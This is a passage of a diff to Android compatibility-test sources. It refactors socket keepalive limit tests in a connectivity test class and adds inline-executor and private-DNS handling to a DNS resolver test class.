-                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO", networkInfo);
-            } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
-                Network network = intent.getExtras()
-                        .getParcelable(ConnectivityManager.EXTRA_NETWORK);
-                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
-                networkInfo = mCm.getNetworkInfo(network);
-                if (networkInfo == null) {
-                    // When disconnecting, it seems like we get an intent sent with an invalid
-                    // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
-                    // it is invalid. Ignore these.
-                    Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
-                            + "invalid network");
-                    return;
-                }
-            } else {
-                fail("ConnectivityActionReceiver received unxpected intent action: " + action);
-            }
-
-            assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
-            int networkType = networkInfo.getType();
-            State networkState = networkInfo.getState();
-            Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
-            if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
-                mReceiveLatch.countDown();
-            }
-        }
-
-        public boolean waitForState() throws InterruptedException {
-            return mReceiveLatch.await(30, TimeUnit.SECONDS);
-        }
-    }
-
-    /**
-     * Callback used in testRegisterNetworkCallback that allows caller to block on
-     * {@code onAvailable}.
-     */
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
-        private final CountDownLatch mLostLatch = new CountDownLatch(1);
-        private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
-
-        public Network currentNetwork;
-        public Network lastLostNetwork;
-
-        public Network waitForAvailable() throws InterruptedException {
-            return mAvailableLatch.await(30, TimeUnit.SECONDS) ? currentNetwork : null;
-        }
-
-        public Network waitForLost() throws InterruptedException {
-            return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
-        }
-
-        public boolean waitForUnavailable() throws InterruptedException {
-            return mUnavailableLatch.await(2, TimeUnit.SECONDS);
-        }
-
-
-        @Override
-        public void onAvailable(Network network) {
-            currentNetwork = network;
-            mAvailableLatch.countDown();
-        }
-
-        @Override
-        public void onLost(Network network) {
-            lastLostNetwork = network;
-            if (network.equals(currentNetwork)) {
-                currentNetwork = null;
-            }
-            mLostLatch.countDown();
-        }
-
-        @Override
-        public void onUnavailable() {
-            mUnavailableLatch.countDown();
-        }
-    }
-
-    private Network getWifiNetwork() {
-        TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network network = null;
-        try {
-            network = callback.waitForAvailable();
-        } catch (InterruptedException e) {
-            fail("NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-        }
-        assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
-        return network;
+        return null;
     }
 
     /** Verify restricted networks cannot be requested. */
+    @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
     public void testRestrictedNetworks() {
         // Verify we can request unrestricted networks:
         NetworkRequest request = new NetworkRequest.Builder()
@@ -1015,6 +692,7 @@
      * Verify that getMultipathPreference does return appropriate values
      * for metered and unmetered networks.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testGetMultipathPreference() throws Exception {
         final ContentResolver resolver = mContext.getContentResolver();
         final Network network = ensureWifiConnected();
@@ -1170,28 +848,13 @@
         return s;
     }
 
-    private boolean isKeepaliveSupported() throws Exception {
-        final Network network = ensureWifiConnected();
-        final Executor executor = mContext.getMainExecutor();
-        final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
-        try (Socket s = getConnectedSocket(network, TEST_HOST,
-                HTTP_PORT, KEEPALIVE_SOCKET_TIMEOUT_MS, AF_INET);
-                SocketKeepalive sk = mCm.createSocketKeepalive(network, s, executor, callback)) {
-            sk.start(MIN_KEEPALIVE_INTERVAL);
-            final TestSocketKeepaliveCallback.CallbackValue result = callback.pollCallback();
-            switch (result.callbackType) {
-                case ON_STARTED:
-                    sk.stop();
-                    callback.expectStopped();
-                    return true;
-                case ON_ERROR:
-                    if (result.error == SocketKeepalive.ERROR_UNSUPPORTED) return false;
-                    // else fallthrough.
-                default:
-                    fail("Got unexpected callback: " + result);
-                    return false;
-            }
-        }
+    private int getSupportedKeepalivesForNet(@NonNull Network network) throws Exception {
+        final NetworkCapabilities nc = mCm.getNetworkCapabilities(network);
+
+        // Get number of supported concurrent keepalives for testing network.
+        final int[] keepalivesPerTransport = KeepaliveUtils.getSupportedKeepalives(mContext);
+        return KeepaliveUtils.getSupportedKeepalivesForNetworkCapabilities(
+                keepalivesPerTransport, nc);
     }
 
     private void adoptShellPermissionIdentity() {
@@ -1206,13 +869,100 @@
         }
     }
 
-    public void testCreateTcpKeepalive() throws Exception {
-        adoptShellPermissionIdentity();
+    private static boolean isTcpKeepaliveSupportedByKernel() {
+        final String kVersionString = VintfRuntimeInfo.getKernelVersion();
+        return compareMajorMinorVersion(kVersionString, "4.8") >= 0;
+    }
 
-        if (!isKeepaliveSupported()) return;
+    private static Pair<Integer, Integer> getVersionFromString(String version) {
+        // Only gets major and minor number of the version string.
+        final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
+        final Matcher m = versionPattern.matcher(version);
+        if (m.matches()) {
+            final int major = Integer.parseInt(m.group(1));
+            final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
+            return new Pair<>(major, minor);
+        } else {
+            return new Pair<>(0, 0);
+        }
+    }
+
+    // TODO: Move to util class.
+    private static int compareMajorMinorVersion(final String s1, final String s2) {
+        final Pair<Integer, Integer> v1 = getVersionFromString(s1);
+        final Pair<Integer, Integer> v2 = getVersionFromString(s2);
+
+        if (v1.first == v2.first) {
+            return Integer.compare(v1.second, v2.second);
+        } else {
+            return Integer.compare(v1.first, v2.first);
+        }
+    }
+
+    /**
+     * Verifies that version string compare logic returns expected result for various cases.
+     * Note that only major and minor number are compared.
+     */
+    public void testMajorMinorVersionCompare() {
+        assertEquals(0, compareMajorMinorVersion("4.8.1", "4.8"));
+        assertEquals(1, compareMajorMinorVersion("4.9", "4.8.1"));
+        assertEquals(1, compareMajorMinorVersion("5.0", "4.8"));
+        assertEquals(1, compareMajorMinorVersion("5", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("5", "5.0"));
+        assertEquals(1, compareMajorMinorVersion("5-beta1", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("4.8.0.0", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("4.8-RC1", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("4.8", "4.8"));
+        assertEquals(-1, compareMajorMinorVersion("3.10", "4.8.0"));
+        assertEquals(-1, compareMajorMinorVersion("4.7.10.10", "4.8"));
+    }
+
+    /**
+     * Verifies that the keepalive API cannot create any keepalive when the maximum number of
+     * keepalives is set to 0.
+     */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testKeepaliveWifiUnsupported() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testKeepaliveUnsupported cannot execute unless device"
+                    + " supports WiFi");
+            return;
+        }
 
         final Network network = ensureWifiConnected();
-        final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
+        if (getSupportedKeepalivesForNet(network) != 0) return;
+
+        adoptShellPermissionIdentity();
+
+        assertEquals(0, createConcurrentSocketKeepalives(network, 1, 0));
+        assertEquals(0, createConcurrentSocketKeepalives(network, 0, 1));
+
+        dropShellPermissionIdentity();
+    }
+
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testCreateTcpKeepalive() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testCreateTcpKeepalive cannot execute unless device supports WiFi");
+            return;
+        }
+
+        adoptShellPermissionIdentity();
+
+        final Network network = ensureWifiConnected();
+        if (getSupportedKeepalivesForNet(network) == 0) return;
+        // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
+        // NAT-T keepalive. If keepalive limits from resource overlay is not zero, TCP keepalive
+        // needs to be supported except if the kernel doesn't support it.
+        if (!isTcpKeepaliveSupportedByKernel()) {
+            // Sanity check to ensure the callback result is expected.
+            assertEquals(0, createConcurrentSocketKeepalives(network, 0, 1));
+            Log.i(TAG, "testCreateTcpKeepalive is skipped for kernel "
+                    + VintfRuntimeInfo.getKernelVersion());
+            return;
+        }
+
+        final byte[] requestBytes = CtsNetUtils.HTTP_REQUEST.getBytes("UTF-8");
         // So far only ipv4 tcp keepalive offload is supported.
         // TODO: add test case for ipv6 tcp keepalive offload when it is supported.
         try (Socket s = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
@@ -1274,7 +1024,232 @@
                 sk.start(MIN_KEEPALIVE_INTERVAL);
                 callback.expectError(SocketKeepalive.ERROR_SOCKET_NOT_IDLE);
             }
-
         }
     }
+
+    private ArrayList<SocketKeepalive> createConcurrentKeepalivesOfType(
+            int requestCount, @NonNull TestSocketKeepaliveCallback callback,
+            Supplier<SocketKeepalive> kaFactory) {
+        final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
+
+        int remainingRetries = MAX_KEEPALIVE_RETRY_COUNT;
+
+        // Test concurrent keepalives with the given supplier.
+        while (kalist.size() < requestCount) {
+            final SocketKeepalive ka = kaFactory.get();
+            ka.start(MIN_KEEPALIVE_INTERVAL);
+            TestSocketKeepaliveCallback.CallbackValue cv = callback.pollCallback();
+            assertNotNull(cv);
+            if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_ERROR) {
+                if (kalist.size() == 0 && cv.error == SocketKeepalive.ERROR_UNSUPPORTED) {
+                    // Unsupported.
+                    break;
+                } else if (cv.error == SocketKeepalive.ERROR_INSUFFICIENT_RESOURCES) {
+                    // Limit reached or temporary unavailable due to stopped slot is not yet
+                    // released.
+                    if (remainingRetries > 0) {
+                        SystemClock.sleep(INTERVAL_KEEPALIVE_RETRY_MS);
+                        remainingRetries--;
+                        continue;
+                    }
+                    break;
+                }
+            }
+            if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_STARTED) {
+                kalist.add(ka);
+            } else {
+                fail("Unexpected error when creating " + (kalist.size() + 1) + " "
+                        + ka.getClass().getSimpleName() + ": " + cv);
+            }
+        }
+
+        return kalist;
+    }
+
+    private @NonNull ArrayList<SocketKeepalive> createConcurrentNattSocketKeepalives(
+            @NonNull Network network, int requestCount,
+            @NonNull TestSocketKeepaliveCallback callback)  throws Exception {
+
+        final Executor executor = mContext.getMainExecutor();
+
+        // Initialize a real NaT-T socket.
+        final IpSecManager mIpSec = (IpSecManager) mContext.getSystemService(Context.IPSEC_SERVICE);
+        final UdpEncapsulationSocket nattSocket = mIpSec.openUdpEncapsulationSocket();
+        final InetAddress srcAddr = getFirstV4Address(network);
+        final InetAddress dstAddr = getAddrByName(TEST_HOST, AF_INET);
+        assertNotNull(srcAddr);
+        assertNotNull(dstAddr);
+
+        // Test concurrent Nat-T keepalives.
+        final ArrayList<SocketKeepalive> result = createConcurrentKeepalivesOfType(requestCount,
+                callback, () -> mCm.createSocketKeepalive(network, nattSocket,
+                        srcAddr, dstAddr, executor, callback));
+
+        nattSocket.close();
+        return result;
+    }
+
+    private @NonNull ArrayList<SocketKeepalive> createConcurrentTcpSocketKeepalives(
+            @NonNull Network network, int requestCount,
+            @NonNull TestSocketKeepaliveCallback callback) {
+        final Executor executor = mContext.getMainExecutor();
+
+        // Create concurrent TCP keepalives.
+        return createConcurrentKeepalivesOfType(requestCount, callback, () -> {
+            // Assert that TCP connections can be established. The file descriptor of tcp
+            // sockets will be duplicated and kept valid in service side if the keepalives are
+            // successfully started.
+            try (Socket tcpSocket = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
+                    0 /* Unused */, AF_INET)) {
+                return mCm.createSocketKeepalive(network, tcpSocket, executor, callback);
+            } catch (Exception e) {
+                fail("Unexpected error when creating TCP socket: " + e);
+            }
+            return null;
+        });
+    }
+
+    /**
+     * Creates concurrent keepalives until the specified counts of each type of keepalives are
+     * reached or the expected error callbacks are received for each type of keepalives.
+     *
+     * @return the total number of keepalives created.
+     */
+    private int createConcurrentSocketKeepalives(
+            @NonNull Network network, int nattCount, int tcpCount) throws Exception {
+        final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
+        final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
+
+        kalist.addAll(createConcurrentNattSocketKeepalives(network, nattCount, callback));
+        kalist.addAll(createConcurrentTcpSocketKeepalives(network, tcpCount, callback));
+
+        final int ret = kalist.size();
+
+        // Clean up.
+        for (final SocketKeepalive ka : kalist) {
+            ka.stop();
+            callback.expectStopped();
+        }
+        kalist.clear();
+
+        return ret;
+    }
+
+    /**
+     * Verifies that the concurrent keepalive slots meet the minimum requirement, and don't
+     * get leaked after iterations.
+     */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testSocketKeepaliveLimitWifi() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testSocketKeepaliveLimitWifi cannot execute unless device"
+                    + " supports WiFi");
+            return;
+        }
+
+        final Network network = ensureWifiConnected();
+        final int supported = getSupportedKeepalivesForNet(network);
+        if (supported == 0) {
+            return;
+        }
+
+        adoptShellPermissionIdentity();
+
+        // Verifies that the supported keepalive slots meet MIN_SUPPORTED_KEEPALIVE_COUNT.
+        assertGreaterOrEqual(supported, MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT);
+
+        // Verifies that Nat-T keepalives can be established.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported + 1, 0));
+        // Verifies that keepalives don't get leaked in second round.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported, 0));
+
+        // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
+        // NAT-T keepalive. Test below cases only if TCP keepalive is supported by kernel.
+        if (isTcpKeepaliveSupportedByKernel()) {
+            assertEquals(supported, createConcurrentSocketKeepalives(network, 0, supported + 1));
+
+            // Verifies that different types can be established at the same time.
+            assertEquals(supported, createConcurrentSocketKeepalives(network,
+                    supported / 2, supported - supported / 2));
+
+            // Verifies that keepalives don't get leaked in second round.
+            assertEquals(supported, createConcurrentSocketKeepalives(network, 0, supported));
+            assertEquals(supported, createConcurrentSocketKeepalives(network,
+                    supported / 2, supported - supported / 2));
+        }
+
+        dropShellPermissionIdentity();
+    }
+
+    /**
+     * Verifies that the concurrent keepalive slots meet the minimum telephony requirement, and
+     * don't get leaked after iterations.
+     */
+    @AppModeFull(reason = "Cannot request network in instant app mode")
+    public void testSocketKeepaliveLimitTelephony() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_TELEPHONY)) {
+            Log.i(TAG, "testSocketKeepaliveLimitTelephony cannot execute unless device"
+                    + " supports telephony");
+            return;
+        }
+
+        final int firstSdk = Build.VERSION.FIRST_SDK_INT;
+        if (firstSdk < Build.VERSION_CODES.Q) {
+            Log.i(TAG, "testSocketKeepaliveLimitTelephony: skip test for devices launching"
+                    + " before Q: " + firstSdk);
+            return;
+        }
+
+        final Network network = mCtsNetUtils.connectToCell();
+        final int supported = getSupportedKeepalivesForNet(network);
+
+        adoptShellPermissionIdentity();
+
+        // Verifies that the supported keepalive slots meet minimum requirement.
+        assertGreaterOrEqual(supported, MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT);
+
+        // Verifies that Nat-T keepalives can be established.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported + 1, 0));
+        // Verifies that keepalives don't get leaked in second round.
+        assertEquals(supported, createConcurrentSocketKeepalives(network, supported, 0));
+
+        dropShellPermissionIdentity();
+    }
+
+    /**
+     * Verifies that the keepalive slots are limited as customized for unprivileged requests.
+     */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testSocketKeepaliveUnprivileged() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testSocketKeepaliveUnprivileged cannot execute unless device"
+                    + " supports WiFi");
+            return;
+        }
+
+        final Network network = ensureWifiConnected();
+        final int supported = getSupportedKeepalivesForNet(network);
+        if (supported == 0) {
+            return;
+        }
+
+        final int allowedUnprivilegedPerUid = mContext.getResources().getInteger(
+                R.integer.config_allowedUnprivilegedKeepalivePerUid);
+        final int reservedPrivilegedSlots = mContext.getResources().getInteger(
+                R.integer.config_reservedPrivilegedKeepaliveSlots);
+        // Verifies that unprivileged request per uid cannot exceed the limit customized in the
+        // resource. Currently, unprivileged keepalive slots are limited to Nat-T only, this test
+        // does not apply to TCP.
+        assertGreaterOrEqual(supported, reservedPrivilegedSlots);
+        assertGreaterOrEqual(supported, allowedUnprivilegedPerUid);
+        final int expectedUnprivileged =
+                Math.min(allowedUnprivilegedPerUid, supported - reservedPrivilegedSlots);
+        assertEquals(expectedUnprivileged,
+                createConcurrentSocketKeepalives(network, supported + 1, 0));
+    }
+
+    private static void assertGreaterOrEqual(long greater, long lesser) {
+        assertTrue("" + greater + " expected to be greater than or equal to " + lesser,
+                greater >= lesser);
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index 945f51d..ef8badd 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -21,20 +21,26 @@
 import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
 import static android.net.DnsResolver.TYPE_A;
 import static android.net.DnsResolver.TYPE_AAAA;
-import static android.system.OsConstants.EBADF;
+import static android.system.OsConstants.ETIMEDOUT;
 
 import android.annotation.NonNull;
 import android.annotation.Nullable;
 import android.content.Context;
+import android.content.ContentResolver;
 import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
 import android.net.DnsPacket;
 import android.net.DnsResolver;
+import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
 import android.net.ParseException;
 import android.os.CancellationSignal;
 import android.os.Handler;
 import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
 import android.system.ErrnoException;
 import android.test.AndroidTestCase;
 import android.util.Log;
@@ -48,25 +54,72 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
+@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
 public class DnsResolverTest extends AndroidTestCase {
     private static final String TAG = "DnsResolverTest";
     private static final char[] HEX_CHARS = {
             '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
     };
+
+    static final String TEST_DOMAIN = "www.google.com";
+    static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
+    static final byte[] TEST_BLOB = new byte[]{
+            /* Header */
+            0x55, 0x66, /* Transaction ID */
+            0x01, 0x00, /* Flags */
+            0x00, 0x01, /* Questions */
+            0x00, 0x00, /* Answer RRs */
+            0x00, 0x00, /* Authority RRs */
+            0x00, 0x00, /* Additional RRs */
+            /* Queries */
+            0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
+            0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
+            0x00, 0x01, /* Type */
+            0x00, 0x01  /* Class */
+    };
     static final int TIMEOUT_MS = 12_000;
     static final int CANCEL_TIMEOUT_MS = 3_000;
     static final int CANCEL_RETRY_TIMES = 5;
+    static final int QUERY_TIMES = 10;
     static final int NXDOMAIN = 3;
+    static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 2_000;
 
+    private ContentResolver mCR;
     private ConnectivityManager mCM;
     private Executor mExecutor;
+    private Executor mExecutorInline;
     private DnsResolver mDns;
 
+    private String mOldMode;
+    private String mOldDnsSpecifier;
+
+    @Override
     protected void setUp() throws Exception {
         super.setUp();
         mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
         mDns = DnsResolver.getInstance();
         mExecutor = new Handler(Looper.getMainLooper())::post;
+        mExecutorInline = (Runnable r) -> r.run();
+        mCR = getContext().getContentResolver();
+        storePrivateDnsSetting();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        restorePrivateDnsSetting();
+        super.tearDown();
+    }
+
+    private void storePrivateDnsSetting() {
+        // Store private DNS setting
+        mOldMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
+        mOldDnsSpecifier = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER);
+    }
+
+    private void restorePrivateDnsSetting() {
+        // restore private DNS setting
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldMode);
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, mOldDnsSpecifier);
     }
 
     private static String byteArrayToHexString(byte[] bytes) {
@@ -94,6 +147,9 @@
                 "This test requires that at least one network be connected. " +
                         "Please ensure that the device is connected to a network.",
                 testableNetworks.size() >= 1);
+        // In order to test query with null network, add null as an element.
+        // Test cases which query with null network will go on default network.
+        testableNetworks.add(null);
         return testableNetworks.toArray(new Network[0]);
     }
 
@@ -105,15 +161,12 @@
         public DnsParseException(String msg) {
             super(msg);
         }
-
-        public DnsParseException(String msg, Throwable cause) {
-            super(msg, cause);
-        }
     }
 
     private static class DnsAnswer extends DnsPacket {
         DnsAnswer(@NonNull byte[] data) throws DnsParseException {
             super(data);
+
             // Check QR field.(query (0), or a response (1)).
             if ((mHeader.flags & (1 << 15)) == 0) {
                 throw new DnsParseException("Not an answer packet");
@@ -123,10 +176,12 @@
         int getRcode() {
             return mHeader.rcode;
         }
-        int getANCount(){
+
+        int getANCount() {
             return mHeader.getRecordCount(ANSECTION);
         }
-        int getQDCount(){
+
+        int getQDCount() {
             return mHeader.getRecordCount(QDSECTION);
         }
     }
@@ -173,7 +228,7 @@
             mRcode = rcode;
             try {
                 mDnsAnswer = new DnsAnswer(answer);
-            } catch (DnsParseException e) {
+            } catch (ParseException | DnsParseException e) {
                 fail(mMsg + e.getMessage());
             }
             Log.d(TAG, "Reported blob: " + byteArrayToHexString(answer));
@@ -222,90 +277,108 @@
         }
     }
 
-    public void testRawQuery() {
-        final String dname = "www.google.com";
-        final String msg = "RawQuery " + dname;
+    public void testRawQuery() throws Exception {
+        doTestRawQuery(mExecutor);
+    }
+
+    public void testRawQueryInline() throws Exception {
+        doTestRawQuery(mExecutorInline);
+    }
+
+    public void testRawQueryBlob() throws Exception {
+        doTestRawQueryBlob(mExecutor);
+    }
+
+    public void testRawQueryBlobInline() throws Exception {
+        doTestRawQueryBlob(mExecutorInline);
+    }
+
+    public void testRawQueryRoot() throws Exception {
+        doTestRawQueryRoot(mExecutor);
+    }
+
+    public void testRawQueryRootInline() throws Exception {
+        doTestRawQueryRoot(mExecutorInline);
+    }
+
+    public void testRawQueryNXDomain() throws Exception {
+        doTestRawQueryNXDomain(mExecutor);
+    }
+
+    public void testRawQueryNXDomainInline() throws Exception {
+        doTestRawQueryNXDomain(mExecutorInline);
+    }
+
+    public void doTestRawQuery(Executor executor) throws InterruptedException {
+        final String msg = "RawQuery " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    mExecutor, null, callback);
-            try {
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                callback.assertHasAnswer();
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+            mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertHasAnswer();
         }
     }
 
-    public void testRawQueryBlob() {
+    public void doTestRawQueryBlob(Executor executor) throws InterruptedException {
         final byte[] blob = new byte[]{
-            /* Header */
-            0x55, 0x66, /* Transaction ID */
-            0x01, 0x00, /* Flags */
-            0x00, 0x01, /* Questions */
-            0x00, 0x00, /* Answer RRs */
-            0x00, 0x00, /* Authority RRs */
-            0x00, 0x00, /* Additional RRs */
-            /* Queries */
-            0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
-            0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
-            0x00, 0x01, /* Type */
-            0x00, 0x01  /* Class */
+                /* Header */
+                0x55, 0x66, /* Transaction ID */
+                0x01, 0x00, /* Flags */
+                0x00, 0x01, /* Questions */
+                0x00, 0x00, /* Answer RRs */
+                0x00, 0x00, /* Authority RRs */
+                0x00, 0x00, /* Additional RRs */
+                /* Queries */
+                0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
+                0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
+                0x00, 0x01, /* Type */
+                0x00, 0x01  /* Class */
         };
         final String msg = "RawQuery blob " + byteArrayToHexString(blob);
         for (Network network : getTestableNetworks()) {
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, blob, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callback);
-            try {
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                callback.assertHasAnswer();
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+            mDns.rawQuery(network, blob, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertHasAnswer();
         }
     }
 
-    public void testRawQueryRoot() {
+    public void doTestRawQueryRoot(Executor executor) throws InterruptedException {
         final String dname = "";
         final String msg = "RawQuery empty dname(ROOT) ";
         for (Network network : getTestableNetworks()) {
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
             mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    mExecutor, null, callback);
-            try {
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                // Except no answer record because the root does not have AAAA records.
-                callback.assertEmptyAnswer();
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            // Except no answer record because the root does not have AAAA records.
+            callback.assertEmptyAnswer();
         }
     }
 
-    public void testRawQueryNXDomain() {
+    public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
         final String dname = "test1-nx.metric.gstatic.com";
         final String msg = "RawQuery " + dname;
         for (Network network : getTestableNetworks()) {
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
             mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    mExecutor, null, callback);
-            try {
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                callback.assertNXDomain();
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertNXDomain();
         }
     }
 
-    public void testRawQueryCancel() throws ErrnoException {
-        final String dname = "www.google.com";
-        final String msg = "Test cancel RawQuery " + dname;
+    public void testRawQueryCancel() throws InterruptedException {
+        final String msg = "Test cancel RawQuery " + TEST_DOMAIN;
         // Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
         // that the query is cancelled before it succeeds. If it is not cancelled before it
         // succeeds, retry the test until it is.
@@ -319,39 +392,22 @@
                 final CountDownLatch latch = new CountDownLatch(1);
                 final CancellationSignal cancelSignal = new CancellationSignal();
                 final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
-                mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
+                mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
                         mExecutor, cancelSignal, callback);
                 mExecutor.execute(() -> {
                     cancelSignal.cancel();
                     latch.countDown();
                 });
-                try {
-                    retry = callback.needRetry();
-                    assertTrue(msg + " query was not cancelled",
-                            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-                } catch (InterruptedException e) {
-                    fail(msg + " Waiting for DNS lookup was interrupted");
-                }
+
+                retry = callback.needRetry();
+                assertTrue(msg + " query was not cancelled",
+                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
             } while (retry);
         }
     }
 
-    public void testRawQueryBlobCancel() throws ErrnoException {
-        final byte[] blob = new byte[]{
-            /* Header */
-            0x55, 0x66, /* Transaction ID */
-            0x01, 0x00, /* Flags */
-            0x00, 0x01, /* Questions */
-            0x00, 0x00, /* Answer RRs */
-            0x00, 0x00, /* Authority RRs */
-            0x00, 0x00, /* Additional RRs */
-            /* Queries */
-            0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
-            0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
